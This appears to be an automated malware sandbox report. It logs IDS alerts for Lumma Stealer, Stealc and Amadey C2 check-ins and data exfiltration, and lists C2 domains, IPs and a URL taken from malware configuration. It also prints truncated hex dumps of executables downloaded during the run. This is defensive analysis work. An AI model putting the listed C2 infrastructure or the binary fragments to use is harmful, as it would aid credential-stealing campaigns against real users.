Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58406 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58410 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58422 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58425 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58437 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:57816 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:49835 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:65469 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:51810 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58481 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58493 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58528 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58401 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58543 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58546 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58551 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:53846 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:60332 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:55625 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58561 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58562 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:58863 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58567 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:58565 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58572 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58577 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:49928 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:55255 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58581 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:61720 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:55882 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58584 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58586 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58588 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:53201 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:56709 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:56033 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58591 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58590 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58589 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58587 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58595 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58596 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:54686 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58597 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58598 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58614 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58571 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:58583
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:58583 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:58389 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58389 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:58386 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58386 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:58401 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58437 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:58481 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58481 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:58493 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:58567 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58567 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:58551 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:58586 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58586 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:58591 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58591 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58493 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:58584 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58584 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:58614 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:58562 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58597 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:58595 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:58596 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58596 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:58561 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58561 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:58571 -> 188.114.96.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor URLs: necklacedmny.store
Source: Malware configuration extractor URLs: navygenerayk.store
Source: Malware configuration extractor URLs: fadehairucw.store
Source: Malware configuration extractor URLs: presticitpo.store
Source: Malware configuration extractor URLs: scriptyprefej.store
Source: Malware configuration extractor URLs: founpiuer.store
Source: Malware configuration extractor URLs: thumbystriw.store
Source: Malware configuration extractor URLs: crisiwarny.store
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor IPs: 185.215.113.43
Yara detected Generic Downloader
Source: Yara match File source: 7.2.Final.exe.354d1e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Final.exe.3515570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED
Connects to many different domains
Source: unknown Network traffic detected: DNS query count 31
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.5:58382 -> 41.216.183.9:8080
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.5:58247 -> 162.159.36.2:53
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:03:05 GMTContent-Type: application/octet-streamContent-Length: 315904Last-Modified: Wed, 30 Oct 2024 19:48:03 GMTConnection: keep-aliveETag: "67228d73-4d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 46 b1 21 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 ea 03 00 00 e6 00 00 00 00 00 00 29 09 04 00 00 20 00 00 00 20 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 df 08 04 00 4a 00 00 00 00 20 04 00 f1 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2f e9 03 00 00 20 00 00 00 ea 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f1 e2 00 00 00 20 04 00 00 e4 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 09 04 00 00 00 00 00 48 00 00 00 02 00 05 00 f8 42 00 00 80 42 00 00 0b 00 00 00 43 00 00 06 78 85 00 00 67 83 03 00 78 42 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 5f 00 00 00 01 00 00 11 1b 2b 4f 2b 54 2b 55 1f 0a 8c 14 00 00 01 6f 08 00 00 0a 06 1f 14 8c 14 00 00 01 6f 08 00 00 0a 06 1f 1e 8c 14 00 00 01 6f 08 00 00 0a 06 1f 28 8c 14 00 00 01 6f 08 00 00 0a 06 6f 09 00 00 0a 7e 01 00 00 04 1f 24 28 c1 00 00 06 28 0a 00 00 0a 2a 73 0b 00 00 0a 2b aa 0a 2b a9 06 2b a8 00 1e 02 28 0c 00 00 0a 2a 62 d0 02 00 00 02 2b 03 2b 08 2a 28 0d 00 00 0a 2b f6 28 c6 00 00 06 2b f1 00 00 00 92 7e 02 00 00 04 1f 3e 2b 0a 2b 0f 2b 10 28 0a 00 00 0a 2a 28 c1 00 00 06 2b ef 02 2b ee 28 0e 00 00 0a 2b e9 00 00 00 92 7e 02 00 00 04 1f 63 2b 0a 2b 0f 2b 10 28 0a 00 00 0a 2a 28 c1 00 00 06 2b ef 03 2b ee 28 0e 00 00 0a 2b e9 00 00 00 13 30 02 00 54 00 00 00 02 00 00 11 14 fe 06 04 00 00 06 73 0f 00 00 0a 2b 39 2b 3e 2b 3f 1f 64 8c 14 00 00 01 6f 10 00 00 0a 73 07 00 00 06 0b 07 fe 06 05 00 00 06 73 0f 00 00 0a 73 11 00 00 0a 0a 06 20 c8 00 00 00 8c 14 00 00 01 6f 10 00 00 0a 2a 73 11 00 00 0a 2b c0 0a 2b b
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:03:08 GMTContent-Type: application/octet-streamContent-Length: 2085888Last-Modified: Thu, 31 Oct 2024 03:03:25 GMTConnection: keep-aliveETag: "6722f37d-1fd400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 30 71 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 71 00 00 04 00 00 b8 9b 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 73 69 73 6f 71 6f 69 00 30 19 00 00 f0 57 00 00 24 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 67 78 69 71 63 74 6e 00 10 00 00 00 20 71 00 00 04 00 00 00 ae 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 71 00 00 22 00 00 00 b2 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:03:11 GMTContent-Type: application/octet-streamContent-Length: 3003904Last-Modified: Thu, 31 Oct 2024 03:03:12 GMTConnection: keep-aliveETag: "6722f370-2dd600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 31 00 00 04 00 00 aa 22 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 66 62 6f 79 68 62 6c 00 20 2b 00 00 b0 05 00 00 1a 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 69 72 64 66 61 75 6e 00 10 00 00 00 d0 30 00 00 06 00 00 00 ae 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 30 00 00 22 00 00 00 b4 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 04:03:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 